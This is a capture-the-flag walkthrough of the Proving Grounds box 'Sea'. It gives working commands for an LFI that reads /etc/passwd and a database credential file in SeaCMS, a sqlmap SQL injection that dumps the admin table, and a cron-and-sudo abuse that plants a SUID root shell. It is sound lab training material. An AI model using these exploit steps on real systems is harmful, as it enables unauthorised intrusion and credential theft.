# Sea Writeup - Proving Grounds

> Intermediate Linux box running SeaCMS behind a randomized admin slug, where FTP logs leak both the slug and an LFI or SQLi path to the same SSH credential, then a cron job that blindly swaps binaries in /bin combined with a sudo NOPASSWD rule plants a SUID shell as root.

- **URL:** https://hackindex.io/writeups/sea
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** lfi, sql-injection, seacms, cron-abuse, sudo-misconfiguration, cve-2025-25520
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Sea runs SeaCMS behind a randomized admin slug. FTP logs leak that slug along with the vulnerable file paths, opening up two independent routes to the same SSH credential: a local file inclusion that reads the database config directly, and a SQL injection that dumps the admin table instead. From an SSH shell, a cron job that blindly swaps binaries in `/bin` combines with a sudo rule to plant a SUID shell as root.

## Reconnaissance

### Nmap

Scan all TCP ports and identify running services.

```bash
sudo nmap -p- -sS -sV $TARGET_IP
# PORT      STATE SERVICE VERSION
# 21/tcp    open  ftp
# 55743/tcp open  http    Apache
```

The web server on port 55743 identifies itself as **SeaCMS** in its footer. Known vulnerabilities for this CMS include an LFI in `admin_safe.php` and a SQL injection in `admin_pay.php`, but both live behind an admin path whose slug is randomized at install time.

### FTP log analysis

Check the FTP service for anything useful.

```bash
ftp $TARGET_IP
# ftp> ls
# log_01.log
# log_02.log
# log_03.log
# log_04.log
```

Download the logs and search them; one references the actual installed paths.

```bash
ftp> get log_01.log
ftp> get log_02.log
ftp> get log_03.log
ftp> get log_04.log
ftp> !cat log_02.log
# /var/www/SeaCMS/th4o4p/admin_safe.php
# /var/www/SeaCMS/th4o4p/admin_pay.php
# /var/www/SeaCMS/th4o4p/database.php
```

The slug is `th4o4p`, and a `database.php` file sits alongside the two known-vulnerable scripts.

## Exploitation

### Vector 1: LFI to database credentials

`admin_safe.php` takes a `file` parameter that reads arbitrary files off the server.

```bash
curl 'http://$TARGET_IP:55743/th4o4p/admin_safe.php?action=download&file=/etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# <snip>
# nicolas:x:1000:1000::/home/nicolas:/bin/bash
```

Read the `database.php` file found in the FTP logs.

```bash
curl 'http://$TARGET_IP:55743/th4o4p/admin_safe.php?action=download&file=database.php'
# nicolas:$NICOLAS_PASSWORD
```

SSH in with the leaked credential.

```bash
ssh nicolas@$TARGET_IP
# nicolas@sea:~$ whoami
# nicolas
```

### Vector 2: SQL injection to the same credential

The `admin_pay.php` endpoint is injectable through its `id` parameter, matching a public SeaCMS SQLi advisory. Automate it with sqlmap.

```bash
sqlmap -u "http://$TARGET_IP:55743/th4o4p/admin_pay.php?action=del&id=1" -p id --batch --dbs
# available databases [1]:
# [*] seacms
```

Enumerate the admin table and dump it.

```bash
sqlmap -u "http://$TARGET_IP:55743/th4o4p/admin_pay.php?action=del&id=1" -p id --batch -D seacms -T sea_admin --dump
# username: nicolas
# password: <base64-encoded value>
```

The stored password ends in a pair of base64 padding characters, a tell that it's base64-encoded rather than hashed. Decoding it recovers the same credential found through the LFI.

```bash
echo '<base64_string>' | base64 -d
# nicolas:$NICOLAS_PASSWORD
```

Both vectors land on the same SSH login as `nicolas`.

## Privilege Escalation

### pspy and a cron-driven binary swap

Upload a process spy to watch for scheduled jobs.

```bash
scp pspy64 nicolas@$TARGET_IP:/tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
# CMD: /bin/bash /bin/bin_replacer
```

A cron job runs `bin_replacer` periodically. Reading it shows it scans a user's home directory for hidden dotfiles and, if a filename in `/bin` matches one found there, overwrites that binary with the dotfile's contents.

```bash
cat /bin/bin_replacer
# #!/bin/bash
# for f in ~/.*; do
#   name=$(basename "$f")
#   [ -f "/bin/$name" ] && cp "$f" "/bin/$name"
# done
```

Check what `nicolas` can run as root, to find a target binary worth swapping.

```bash
sudo -l
# User nicolas may run the following commands on sea:
#     (ALL) NOPASSWD: /bin/ps aux
```

`ps` is runnable as root with no password, and it's also a plain binary name in `/bin` the replacer script would happily overwrite. Drop a dotfile named `.ps` in the home directory that the cron job will pick up.

```bash
#!/bin/bash

cp /bin/bash /tmp/bash
chmod +s /tmp/bash
```

After the cron fires, `/bin/ps` has been replaced with that script.

```bash
cat /bin/ps
# #!/bin/bash
#
# cp /bin/bash /tmp/bash
# chmod +s /tmp/bash
```

Running it through sudo executes the planted script as root, which drops a SUID copy of bash.

```bash
sudo /bin/ps aux
ls -la /tmp/bash
# -rwsr-sr-x 1 root root 1168776 ... /tmp/bash
```

```bash
/tmp/bash -p
# bash-5.0# whoami
# root
```

The SUID bit on the copied shell preserves root privileges when invoked with `-p`.

Related

## References

- [CVE-2025-25520](https://dailycve.com/seacms-sql-injection-cve-2025-25520-critical/) - SeaCMS SQL injection in admin_pay.php.
